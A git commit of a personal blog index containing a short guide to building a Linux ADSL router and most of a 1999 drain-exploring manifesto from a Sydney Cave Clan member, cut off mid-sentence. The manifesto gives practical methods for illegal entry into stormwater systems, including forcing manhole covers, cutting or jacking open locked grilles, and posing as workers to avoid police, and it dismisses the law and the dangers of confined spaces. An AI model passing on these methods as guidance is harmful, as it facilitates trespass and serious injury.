Predator's blog index

commit 12a673b1ace7c98946e4c30bc007d5ce359c73e6 Author: Fiscal Velvet Poet Date: Thu Oct 28 07:58:56 2021 +1000 Initial and final commit diff --git a/ADSL.txt b/ADSL.txt new file mode 100644 index 0000000..d00ff7a --- /dev/null +++ b/ADSL.txt @@ -0,0 +1,81 @@ +This is a shortish rant about my experience building a Linux ADSL router +for a Telstra Big Pond ADSL service, from a pile of old parts + +Equipment: +One SMC 10baseT Elite Hub (12 ports) +One Pentium-100 with 60Mb of RAM, + 1Gb of harddisk + a cdrom, + a SMC-ULTRA ISA NIC + a 3Com 3c509 ISA NIC +Various ethernet cables, power cords, etc. + +Originally I tried using Smoothwall Linux, and the green zone worked but I +couldn't get it to talk to the DSL modem. Also, suggestions mentioned at +Becsta.net concerning a stripped-down RedHat Linux 6.2 distro with added +PPPoE didn't work for me either. + +On the suggestion of a Rent-a-Geek member, I dowloaded the 279 mb cdrom +image +smeserver-5.1.2.iso +from +ftp://mirror.aarnet.edu.au/pub/e-smith/e-smith-5.1.2/iso/smeserver-5.1.2.iso + +As root I used cdparanoia to burn this to a cdrom on another machine, +since the Pentium100 box happened to have a cdrom in it and was able to +boot from cdrom. + + +However if neither of these conveniences apply and you're running an ftp +server on the machine were the downloaded iso exists you can mount the +iso image: + +mount -t iso9660 -o loop smeserver-5.1.2.iso /mnt/somewhere + +Then look in /mnt/somewhere for a file called bootnet.img ... when you +find it, dd it to a floppy like so: + +dd if=bootnet.img of=/dev/fd0 + +then boot the prospective router machine off this floppy. The floppy will +enable the machine to find a PCI network card in the router if one exists, +and you simply answer the questions concerning where the ftp server is and +where on the ftp server the +image is known to exist. + + +I followed the install and it was very straightforward (remember that +username is not + +username + +it is + +username@bigpond + +My only real problem was that, while there were kernel-loadable modules in +the /lib/modules//net directory for my ancient ISA NICs, I couldn't +configure them through the normal install procedure which is built to +handle PCI NICs but not ISA ones. So I used a text editor and modified +modules.conf to contain: + +alias eth0 3c509 +options io=0x300 irq=10 + +alias eth1 smc-ultra +options io=0x290 irq=3 + + +I also found I had to set the immutable attribute bit on the +/etc/modules.conf to prevent later stages of the configuration from +messing it up. + +# chattr +i /etc/modules.conf + +Both my linux laptop and Dave's G4 Powerbook gleefully recieve +dhcp-assigned numbers from the hub when they're plugged in and booted. The +hub, naturally is plugged into the ethernet port *not* currently occupied +by the link to the ADSL modem. + + + diff --git a/ROBO-608.jpg b/ROBO-608.jpg new file mode 100644 index 0000000..b4f6f5c Binary files /dev/null and b/ROBO-608.jpg differ diff --git a/approach.htm b/approach.htm new file mode 100644 index 0000000..89463a6 --- /dev/null +++ b/approach.htm @@ -0,0 +1,2293 @@ + + + + +

+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+³é FILE : APPROACH.TXT é³
+³ AKA : APPROACH.DOC, DRAINING.FAQ ³
+³ BY : of Sydney Cave Clan predator@cat.org.au ³
+³ DESCRIPTION : A sprawling manifesto on the art of Drain Exploring. ³
+³RELATED SPORT : Reservoir Diving, Train & Elevator Surfing, Vadding. ³
+³ FORMAT : Extended ASCII, Unix codepage 437, fuck MS-word and PDF.³
+³ ORIGIN : http://cat.org.au/~predator/approach.txt ³
+³ LAST UPDATED : December 7 1999 ³
+³ FILE SIZE : 130560 bytes ³
+³ STATUS : Late 20th Century Edition ³
+³ Ensanguining the skies How heavily it dies Into the west away. ³
+³ Past touch and sight and sound, Not further to be found, ³
+³ How hopeless under ground Falls the remorseful day. ³
+³ A.E. Housman ³
+³é é³
+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
+
+
+
+ \/\/hen the Sydney branch of the Cave Clan first started back in 1990Ä1991
+ we had little in the way of experience about how to find drains and other
+ things of interest.
+
+ I personally have now done 147 drains in 6 Australian states, in addition to
+ numerous rail tunnels, bridge rooms, abandoned bunkers and other concealed
+ underground places... this experience led me to compile this .TXT on how to
+ approach the pastime scientifically.
+
+ The focus of this .txt is drains, but also has information related to other
+ things of interest. It includes a lot of info from its previous versions and
+ contains lots of new data too.
+
+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+³ 1) Why are there drains? ³
+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
+Drains in general used to be creeks, streams, marshy areas or rivers. When
+cities are built, this eliminates the usual absorption of rainwater into the
+ground, because concrete and roofing and road surfaces are not permeable.
+
+The rain water pools up, which is a nuisance, and thus the people who design
+towns, mainly planners, civil engineers and the like, have created ways to
+rapidly waste this valuable resource by routing it to nearby rivers or even
+the ocean. Thus are tunnels dug, pipes laid and so forth... this is the
+process of urban speleogenesis. Usually natural creeks are dug up or
+concreted-in so when all the fastÄflowing runoff hits them the erosion is
+minimised.
+
+Unfortunately, the Australian mentality towards environmental management of
+such trunk drainage has traditionally been "Build a pipe and forget about it".
+Canals tend to empty directly into river systems and there is no provision
+for a wetland type environment in which one could slow the fast moving runoff,
+thereby reducing erosion at the riverbank, allowing time for the sediment load
+to drop out of suspension, and also providing habitat for estuarine river
+species.
+
+Drains are now the major collector of rainÄsoaked street refuse which
+pollutes the river systems, are major source of canine faecal coliform,
+overflow from the sewage system, and a handy place to dump industrial waste.
+
+They are also, despite being funded by the public, now off limits due to the
+byÄlaws of the Water board (Now named Sydney Water) and the Confined Spaces
+Legislation. A Melbourne company, Pollutec, have designed a nifty separator
+(which they call the Continuous Deflective Separation system) - it is
+vetted for installation in a lot of trunk drains and hopefully this will
+reduce the amount of crap which ends up in the rivers. The Clan has a slight
+problem with these which will be detailed later in the .TXT.
+
+Why are there drains? Why, so we can explore them, of course!
+
+Why go in drains?
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+In life, you make choices. You can stay in bed and take no risks, or you can
+go out and get a life. This involves the taking of risks, telling of yarns,
+breaking of silly laws which restrict your freedom, finding out things of an
+unusual or interesting nature. Now, some people take drugs, some people watch
+TV, some people drive cars faster than the posted speed limit, some people
+get heavily into teletubbies, some people play golf.
+
+Since we find these things not very interesting, we explore drains. We like
+the dark, the wet, humid, earthy smell. We like the varying architecture. We
+like the solitude. We like the acoustics, the wildlife, the things we find,
+the places we come up, the comments on the walls, the mazeÄlike quality; the
+sneaky, sly subversiveness of being under a heavilyÄguarded Naval Supply base
+or under the Justice and Police Museum.
+
+Drain exploring is cheap since, despite there being a $20000 fine (a bit harsh
+really) for doing it, it is almost never policed.
+
+We enjoy thumbing our noses at petty bureaucrats and puerile legislators, and
+their half-baked attempts to stop us going to the places where we go... places
+they built with our tax money.
+
+We like the controlled nature of the risks involved. We like the timelessness
+of a centuryÄold tunnel, the darkness yawning before us, saying "Come, you
+know not what I hide within me."
+
+We like the stupid looks we get when we mention it at cocktail parties.
+
+We like the sploosh sploosh sound when we walk through the waters.
+
+We like going where the bank tellers and council clerks and ticket officers at
+the SRA never go.
+
+We like telling the authorities that we are software programmers, analytical
+chemists, civil engineers, telecommunications specialists etc, when they ask.
+
+We like the whole thing and the pettiness of its illegality and poor public
+perception is beneath us and totally irrelevant.
+
+We are not stupid, we don't like being protected from ourselves, it hurts
+noÄone, we like it, so we do it. Hear us cry...
+
+Public access to Public works!!
+
+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+³ 2) How do I find explorable drains? ³
+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
+
+ To find drains you can use a number of methods, all of which are suited to
+ different areas.
+
+1) Get a topological map.
+
+ Likely drains are where there are gullies but no evidence of a river per
+ se; deduction: it has been buried (turned into a drain tunnel) or its
+ headwaters have been `pirated'(diverted) to another river or into a drain
+ further upstream. Melb Clan found Gobledox this way.
+
+2) Obtain old street directories and compare them to their newer editions.
+
+ Generally you find that when a creek shown in an old directory is no
+ longer shown in a new edition, chances are that it has been entunneled.
+ Also if you see a creek going along and suddenly disappearing, then
+ reappearing somewhere else, you know pretty well what happened to it in
+ between. I found the entrance to a whopping drain in Brisbane by looking
+ in the Gregory's for wide creeks which disappeared adjacent to roads.
+
+3) Check boundaries on cadastral maps.
+
+ Back in the good ol' daze, postcode boundaries were often delineated by
+ prominent topographic features, like cliffs, rivers and the like. Thus you
+ can look in street directories or maps of who-owns-what (cadastral maps)
+ and occasionally see non-linear, erraticÄlooking postcode boundaries. Odds
+ on it is where there once was a river. This is how The Loaf was located.
+
+4) Visit the Water Board, search their library.
+
+ A good stash of drain location intel is the annual report which will have
+ a section devoted to how they spent your money on drainage. I used this to
+ find the entrance to Fortress, since the report gave the outlet location.
+
+ The other place to look is in their records of outlets and also their
+ drainage maps, which you may have to dig for a little bit. The regional
+ maps are generally somewhat inaccurate - the local level maps are better.
+ Transgrinder, a drain with manholeÄonly access, was pinpointed by Mullet
+ using this method. The local Council can also be pumped for this info.
+ Say you're getting info for an assignment on: Urban Geohydrology,
+ Stormwater runoff, Suburban river systems, Catchment management, river
+ pollution control, your kid brother's high school geography assessment.
+
+5) Taking the train, driving around... keep your eyes open!
+
+ Keep a handy note book to write down locations. Diode made some fantastic
+ finds, Hercules Pillars and Your Taxes, for this very reason. Especially
+ look when you are near a gully.
+
+6) Social engineering / civil engineering.
+
+ Dress up in overalls and go around at night popping every manhole you can
+ find. This works better in the city where the concentration of manholes is
+ higher. You need to bring / make your own poppers and it is a strenuous job
+ but if you look the part the cops will drive by without batting an eyelid.
+ Throw some traffic cones around, put on hardhats and reflective uniforms.
+ Expressway median strips and dish drains are also fertile sources of
+ covers.
+
+7) What's that lump doing there?
+
+ If you find a public park with artificially built up slopes on either side,
+ there is probably a canal in it or better still under it. Parks and nature
+ reserves are often used as `retarding basins' ie, they are used as
+ temporary buffers for flood water, and have drains going into them.
+
+8) Long, vacant corridors of empty land... huh?
+
+ In many cities, land over a tunnel is illegal to build upon... so if you
+ look in a street map you will find long, narrow parks occasionally. They
+ tend to be fenced off and lack large trees. Often a search of these will
+ reveal a manhole in the grass.
+
+9) Ride along the river.
+
+ On yer bike! This is easier in Melbourne than Sydney due to their
+ prolific bike paths. Just ride along and scan the shores for entrances.
+ The gaping mouth of Autobahn was found by this method, as was Rocktop and
+ the Grid's downstream canal.
+
+10) In the Trenches.
+
+ Get a mountain bike, put on good tyres and mudguards (!), find a canal,
+ and hop in. Thus was located Sin City. There is a tendancy for fences to
+ block your way in. Ignore them... hang the bike on the top of the fence
+ (leave a pedal, in the crankÄup position on the top pole, the bike will
+ generally stay while you jump over) and once over the fence get the bike
+ down.
+
+11) All drains lead to the ocean.
+
+ So: check the coast or the local waterfront, wharfs, beaches. Newspapers
+ often post details of beaches closed due to stormwater pollution... which
+ means there is a big drain somewhere near that beach. Hopefully.
+
+12) Dear Sir,...
+
+ Write salutory letters to companies which make pipes and culverts 6ft in
+ diameter and over, and ask them where they are putting most of their big
+ pipes. Such companies are CSR, Humes and Monier/Rocla, this varies from
+ state to state.
+
+13) "Ve haf vays ov makink yu tork."
+
+ When we reveal our amazing, actual-history, adventural exploits to
+ lesser mortals, some of them casually mention "Oh, yeah, I did this huge
+ tunnel years ago, it was twelve kilometers long, ten feet high, had soft
+ lights, piped music, air conditioning and an abandoned electronics
+ factory halfway along it." Sure.
+
+ Much of your time will be wasted by such meme-vectors, rumour-spinners,
+ and fraidy cats, who couldn't find their way out of a tunnel without
+ rails, mains powered lighting and a GPS unit.
+
+ Whilst they sound very interesting, in our experience such people should
+ be abducted and interrogated at length with invasive electrical devices
+ and psychoactive chemicals, until they reveal the *precise* location of
+ the entrance to their rumoured tunnel.
+
+ Those who fail to give precise location details must, as a matter of
+ course, be blindfolded and transported to a remote location, and released
+ at night, wearing sandpaper underclothing and a funny hat, to teach them
+ that ambiguous location data has irritating qualities for those compelled
+ to use it.
+
+14) Gutter Press.
+
+ We realise that the media is hardly worth the effort of reading these
+ days. Nonetheless, politicians and pack-rat journalists never miss an
+ opportunity to be photographed in a hardhat near a newly made, big hole
+ in the ground. The location of such is usually mentioned in the blurb.
+
+
+14) The World Wide Drain
+
+ An instrumentality in the process of building a big, expensive drain
+ may have a web-page about it. The question is, how to find it? Using
+ web search (eg: altavista) and metasearch (eg: dogpile) engines with
+ appropriately configured requests, for example "stormwater" AND "drain"
+ or perhaps "flood" AND "mitigation" OR "tunnel", will turn up data
+ which may be useful. The engines permit quite precise interrogation
+ parameters, so you can specify the search to include only those hits
+ which, for instance, contain the word "Sydney" or "Municipality" or
+ "", thus avoiding responses about lava
+ tubes, or quantum mechanical tunneling, or unreachable drains on the
+ other side of the planet.
+
+
+15) The Good Oil.
+
+ Clan location lists can sometimes be found by pestering Cave Clan through
+ their site at www.caveclan.org or www.caveclan.org/sydney
+
+It is an old Clan tradition that the person who finds the drain gets to name
+it. However, since a lot of the names of drains are related to drain features,
+there is an emerging push that the person(s) who EXPLORE the new drain get to
+name it. But generally we don't care. Do what you like.
+
+
+ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+³ 3) Features, and Techniques for their Negotiation ³
+ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
+In drains you will find rooms, slides, staircases, balconies, junctions,
+pits, grilles, safety chains, waterfalls and turbulence pillars. These usually
+are easily dealt with using common sense.
+
+One has to contend with manholes, grilles and gutter boxes to get into and
+out of drains which lack convenient large portals or outlets... drains are
+much more fun if you can say "Yeah we got in at the beach, went up it for
+miles and then popped a manhole, right in the shopping centre car park, there
+all these old grandads and fat women lookin at us real funny, blah blah" etc.
+
+Manhole covers.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Generally these are found in the middle of the street, are made of steel
+and cement, are rusted and wedged in, and weigh anything up to 60kg in the
+case of the large square Gatic.
+
+When a cover has been in situ for a long time, factors like corrosion, thermal
+expansion/contraction, and vehicular hammering progressively jam the cover in
+its collar. Whilst some (Trimar) covers lend themselves to being popped from
+below, by having chamfered edges and taking the load only on the corners,
+often the average 40kg familyÄsized pizza manhole (so named due to the 8
+radial struts one sees from below them) by Durham is an impossibility for
+anyone without the strength of the Incredible Hulk, and even then sometimes
+that isn't enough: the cover may have a car wheel parked on it, if might have
+been cemented over or welded, in the case of some Gatic covers, it could be
+bolted into its collar with quarter inch stainless steel bolts.
+
+Prevention of car-parking on popular grilles can be achieved by attaching a
+traffic cone to the top of the grill mesh, with a couple of hose clamps. If
+the traffic cone has the initials of the local water authority inscribed upon
+it, it will be left alone by most road crews and council workers, and will
+ensure the grille is usually not parked upon.
+
+Poppin' Covers : what to pop
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+There are, for the first of the listed reasons, extreme dangers involved in
+popping these from below unless you know exactly, EXACTLY where you are...
+you might be faced with two shafts less than 10m apart: one will take you out
+on the footpath, or to a picnic area. The other one could conceivably earn you
+a semiÄtrailer front wheel in the brain at 90km/h. With the exception of some
+old inner city covers which are "Spiderwebbers" and can be seen through, most
+are lightÄtight (so you can't see what lies above you). If you hear a quick
+"thumpthump" sound, do not open the cover... this is the sound made by road
+vehicles going over the cover and it is largely impossible to predict if
+one is approaching from below due to the damping provided by the cover and the
+weirdly distorted echos in the tunnel itself.
+
+The Clan tends not to pop covers from below for the reasons just mentioned,
+unless their position is known or the outside world can be determined by
+looking through them: spiderwebbers are of two kinds, thick and thin. Thin
+ones aren't used in roads, being common in parks and pathways, due to their
+poor ability to handle repeated loading by vehicles. The thick ones are about
+an inch thick (2.5cm) and weigh a mountain, and tend to have cars going over
+them. Pop a thin 'web by all means; leave the rest alone from below.
+
+Subside Poppin' Tools
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+When popping a cover from below, if it is really "sealed", tools are useful.
+
+The first of these is a mallet. Thumping a cover from beneath can often fault
+the jammed in, rustÄloaded grime which seals the edge. The ubiquitous crowbar
+can also be used to force the gap between the collar and the cover base. I
+have high recommendation for devices of a hydraulic nature, particularly the
+small, cheap and readily available bottle jacks, which weigh about 5kg and can
+exert a force of anywhere from 1400kg, to two and a quarter tonnes, through a
+throw of between 5 and 15cm. This can, if placed close to the wall end of the
+top stepiron, conceivably pop anything except the bolted Gatics; if it fails
+in this task it will either bend the stepiron, tear it out of the wall or
+burst out from its position and mercilessly bruise anything nearby. To use
+these one needs a few small blocks of wood to give the jack the required
+height to reach the cover's base. The wind-up parallelogram type jacks also
+exert about a tonne of manhole popping power and their reach often extends to
+about half a metre - great for awkward covers.
+
+The nice thing about round manholes is you cannot drop them down the shaft and
+kill someone. Trimars can be dropped down their shaft; square Gatics can drop
+down their shafts end on or diagonally. Getting hit with a cover from 5m up
+is likely to kill you. So exercise caution with these. They take no prisoners
+on the way down... understandable really; if I had sat above a drain all my
+life I'd wanna know what was down there in a hurry, too.
+
+There are two schools of thought about cover popping from below. There is the
+straight upward force and the tilt'n'flip method. The former is quieter and
+better for the square and triangular covers but the tilt'n'flip (push one
+edge up, let the cover tilt up and drop in a bit, then flip over and push
+away from the hole) requires less strength, since you don't take the entire
+weight, and just as safe since the round covers won't fit down the hole.
+
+Another thing to remember when popping a cover is: face down. It is better to
+have a head full of grot than an eye loaded with abrasive mud, which tends to
+fall out from the seal when you pop it.
+
+
+Topside Poppin' Tools
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Sometimes a manhole will have a pair of lifting eyes cemented in a recessed
+position in the top of the cover. These eyes will contain a short
+cross-rod through which a hook or rope can be threadded prior to lifting.
+
+Some lifting eyes contain a strange shape a bit like a top-heavy steel ice
+cream cone. One has to fit some sort of two-tine hook under this, or tie
+down to it with, say, 6mm diameter climbing rope using a double
+fisherman's knot. Otherwise the best tools to use are purpose-built
+manhole keys. It is useful to contact the manufacturer of the manhole cover
+(they nearly always have the name cast into the metal or concrete) when
+wishing to source their particular cover opener.
+
+The simplest for socketted covers is the hand-held lifter the inverted T on
+the end. You can weld one up simply from mild steel or take a 20mmx8mm
+aluminium bar and cut it to the appropriate shape. It looks like this:
+
+ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+ ³ ÚÄÄÄÄÄÄÄÄÄ¿ ³
+ ³ ³ ³ ³
+ ³ ³ ³ ³
+ ³ ÀÄÄÄÄÄÄÄÄÄÙ ³ <ÄÄ handle (for hands, straps etc)
+ ÀÄÄÄÄÄ¿ ÚÄÄÄÄÄÙ
+ ³ ³
+ ³ ³
+ ³ ³ <ÄÄ less than 12mm diameter
+ ³ ³
+ ÚÄÄÙ ÀÄÄ¿ <ÄÄ the end you stick in the manhole cover slot.
+ ÀÄÄÄÄÄÄÄÙ 8mm high, 5mm thick steel
+
+ < Ä25mmÄ> (or a little less)
+
+To use: Stick the T end in the slot on the cover, rotate 90ø and pull up.
+These are the dimensions for Sydney's Durham covers. In SA and VIC different
+sizes are used but all operate on the T principle.
+
+Others exist for popping collared spiderwebbers: these are about 1m long.
+
+To use: Stick down a hole near the edge of the cover.
+
+ ÉÍ»
+ ÈË¼ <ÄÄ Handle end
+ º
+ º
+ º
+ º
+ º
+ º <ÄÄ 10mm diameter.
+ º
+ º
+ È¼ <ÄÄ crowbarÄlooking end
+
+Once seated, lean on handle end. Leverage pops it. Key to the city, you might
+say.
+
+Bolted gatics can be popped with a socket wrench and a crow bar but this is
+inelegant compared to using the purposeÄbuilt tool:
+
+ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
+ ³ ÚÄÄÄÄÄÄÄÄÄ¿ ³
+ ³ ³ ³ ³ <Ä handle
+ ( ( ) )
+ \ \ÄÄÄÄÄÄÄ/ /
+ ÀÄÄÄ¿ ÚÄÄÄÙ
+ ³ ³ ³ ³ ³ ³
+Bolt from GaticÄ> /// ³ ³
+ /// <Ä threads ///
+ /// ///
+ /// ³ ³ ³ ³ <Ä locknut
+ /ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ\
+ ³ . . . . ³
+ ³ . . chassis . . ³
+ ³ . . . . ³
+ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ /// ³ ÄÄ³ ³ÄÄ
+ /// \ ³ÀÄÄÄÄÄÙ³ Gatic cover
+ /// \ ÀÄÄÄÄÄÄÄÙ <ÄÄ space for T end of handle
+ ÀÄÙ \ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ street levelÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ \
+ \ <ÄÄ Gatic collar
+ \ÄÄÄÄÄÄÄÄÄÄÄÄ¿
+ ³
+ ³
+ ³ Manhole Shaft
+
+To use this:
+ (1) Clear the dirt and stuff out of the hole on the edge of the Gatic.
+ (2) Stick the TÄend (under the handle) into the hole and rotate so it is
+ securely locked in the hole. Tighten the locknut onto the chassis.
+ (3) Screw the other bolt down as far as you need till the cover "pops" open.
+ (4) Drag like hell on the handle to slide the cover away.
+
+The chassis is a measly 10cm across. Uses steel bolts, and doesn't look suss
+if you are searched by the cops, whereas a crowbar does. Thread diameters
+vary, so steal a gatic bolt near you to determine the type you require.
+
+Other implements exist, and they are commercially built for the purpose. One
+is a two metre long item which is operated by inserting one end in the cover
+and sitting (!) on the handle on the other end, much like a seeÄsaw in
+principle. This is very effective but rather hard to covertly transport.
+Another design, which is smaller and hinged in the centre, permits you to pop
+the cover by locking one end to the cover lifting hole and jumping on the
+other end. I broke mine. Oh well.
+
+Superficial tack-welds on manhole covers can commonly be fractured or
+chipped-off with chisels or hammers. This may require that you dress up for
+the part.
+
+Lift-O-Matics (TM)
+Big Ears of the Melbourne branch of the Clan has been manufacturing quality
+manhole lifters for some time now. The Lift-O-Matic is available from the
+Cave Clan's Melbourne branch.
+
+Sydney Clan members have also made sand-cast iron lifters, slung with
+woven Spectra strapping. Spectra (a.k.a. Gemini) is mil-spec, superstrong
+synthetic fibre available at most rock-climbing shops for several dollars
+per metre. It is hard to cut, but abrasion-resistant, lighter than wire rope
+and extremely strong.
+
+I recommend that, if you're looking for manhole cover openers, (manhole keys)
+you are most likely to find them at Johnnie Sumner's Hardware, 819 New
+Canterbury Road, Dulwich Hill NSW; They do mail orders, their phone number
+is 02Ä9Ä558Ä2424. The place is recognisable by the enormous piles of junk in
+the front display windows. Ask for Allan, he is the only person who knows
+where everything is. They occasionally have cadmium plated TelecomÄtype keys,
+and also the jumpÄon popper I mentioned earlier. They don't manufacture them,
+but can usually get 'em at auctions. The shop has been going since the 1930's
+and also has every conceivable spare torch globe you could want.
+
+Doing the lift.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Lift with your legs (squat, then stand up) not your back. Where possible
+more than one person should try to lift the cover at the one time, this
+reduces the load for each person, and minimises the potential for injury.
+
+Sometimes you will be compelled to open a heavy cover which should not be
+closed behind you because its sheer mass might prevent you from lifting it
+from below. In such cases it is safe and courteous to place some reflective
+traffic safety cones around the open shaft and the cover so people do not
+fall down or drive into the shaft opening.
+
+
+Horizontal grilles.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+The old style grille is a castÄiron job weighing about 25kg. Being cast, they
+shatter when you drop them, so try not to drop them. The general method from
+topside, is to stick one's fingers in the gaps towards one end, lift, and get
+the edge up onto the street level. Then reposition your hands on the opposite
+edge to the up end, and drag it out. The bottom surface of these is usually
+concave downwards, so they slide more easily along the road. This method
+preserves both the grille and your fingers.
+
+The old grilles are also useful to exit from a drain. One can generally
+shoulder one's target grille loose from within the cramped confine of a gutter
+box; once loose, use your hands, but don't stick your fingers through. The
+more recalcitrant grilles may require another approach: Get under the thing,
+on your back, place your bum on the ground, and force the grille with your
+feet. It helps to listen for traffic for a period prior to lifting.
+
+There are also light steel strut grilles in service and to date I have found
+them mostly a joy to use. The tolerance between them and their collar is
+unfortunately large enough to permit pebbles to fall into the gap and they can
+get sealed this way, nothing a good thump won't fix. My least favourite kind
+is the hinged type, whilst they never fall in they can be a nuisance to
+replace if they come out of their hinge, and opening them from below needs a
+different strategy since you cannot slide them. The two major problems I find
+with them are (1) occasionally the arc they open through intersects with the
+kerb so you can't open it or (2) some twit has put a small springÄloaded
+hook ended bolt on it and this locks it into its collar, so you need a spanner
+to undo the nut. If you open one of these, throw the bolt away, they are a
+safety hazard, and in all likelihood were invented by someone who has never
+been in a drain in their life.
+
+Vertical grilles.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+Generally found at the outlet of a drain, but also occasionally in parks,
+often as a side feature of rooms, vertical grilles are often engineered to
+permit access, though this function tends to go away when local authorities
+discover that the drain is being used recreationally. They are often locked
+(see the locks section below) or welded closed. The solutions to such grilles
+usually comprises a hack saw, car jack, or oxytorch, depending on the design,
+though a half-hour with a large shifting spanner can often prove productive.
+
+Sometimes you can, by exhaling and wriggling a lot, go through sideways,
+though it is a bit hard on your pelvis. There is another species of grille,
+prevalent on median strips, which is made of tightly-wedged concrete slots.
+Advice: forget 'em.
+
+A trend appearing of late is to put really huge grilles (made of railway-track
+or huge galvanised iron rods) across the upstream end of a drain, presumably
+to separate the water from the junk it carries, such as trees and other major
+floating refuse. Often these are permanently set in the closed position with
+a lock or cemented into the ground. The latter is amenable to being prised up
+with a car bottle jack; you can also bend the bars apart in cemented vertical
+rod grilles using a car jack, this method proving useful at the seaward
+entrance of Fortress.
+
+
+Gutter Boxes.
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+These are also known as Gross Pollutant Traps... they help to trap big
+items before they get into the main drain. They tend to be covered by heavy
+concrete slab lids and are often adjacent to street grilles (see above). The
+only effective way to open these lids is Ä on ya back, legsÄup, place your
+feet and push like a bastard. When it 'cracks' its seal, stop pushing straight
+up and direct the thing toward the high edge. Some of these have the added
+nuisance of a pit below them, in which case I suggest if you can't pop it
+with your shoulder, get out elsewhere. Pits can often be fun to interrogate
+for treasure, which should be done carefully, because they are usually home
+to loads of broken glass and rusting syringe needles.
+
+Topside slab-popping generally involves crowbars, lifting rings and sometimes
+vehicular towbars, if the conditions permit it.
+
+The general technique for closing it when you've used it to exit, is to stand
+it on one edge, swivel it from corner to corner to position it and then just
+let it fall into its hole. Keep your feet clear of the edge.
+
+Anecdote: I wanted to get out of Clantomb, Melbourne due to a torch problem.
+The box in question was in a quiet suburban street (one finds this out by
+looking from the gap above the grille), kids were playing street cricket.
+
+I noticed it was garbage night... the night people put their bins full of
+rubbish out for collection. This was immediately significant to me, because
+people tend to put their bins on gutter box lids to preserve their lawn from
